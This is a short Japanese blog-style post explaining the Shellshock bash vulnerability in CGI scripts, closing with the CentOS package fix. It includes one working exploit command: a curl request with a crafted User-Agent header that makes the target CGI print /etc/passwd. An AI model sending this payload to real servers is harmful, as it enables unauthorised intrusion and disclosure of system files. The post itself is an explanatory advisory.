Webサーバでbashを使ってCGIを作成、もしくはWebサーバの起動ユーザのshellがbashの状態で、system関数を使うなどしていた場合、サニタイズしていてもすり抜けるバグがあるみたい。
例えばこんなCGI
#!/bin/bash echo 'Content-type: text/plain' echo echo 'Hello world.'
こんなCGIでもダメらしい。ubuntuでは再現しませんでした(´艸`)
#!/usr/bin/perl print "Content-type: text/plain\r\n\r\n"; system("echo 'Hello world'");
※perlのsystem関数に環境変数が引き継がれないので問題無いかも d(^-^)
※pythonの os.systemは、環境変数が引き継がれるので危ないみたいです。
そして、以下のようなおまじないを実行すると・・・
curl -F "NAME=VALUE" -F "NAME=VALUE" -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://URL/hoge.cgi
※イタズラ厳禁ですからねっ!
修正方法
・CentOS
sudo yum update bash -y
ubuntu や solarisはまだパッケージでの更新はされていない様子です。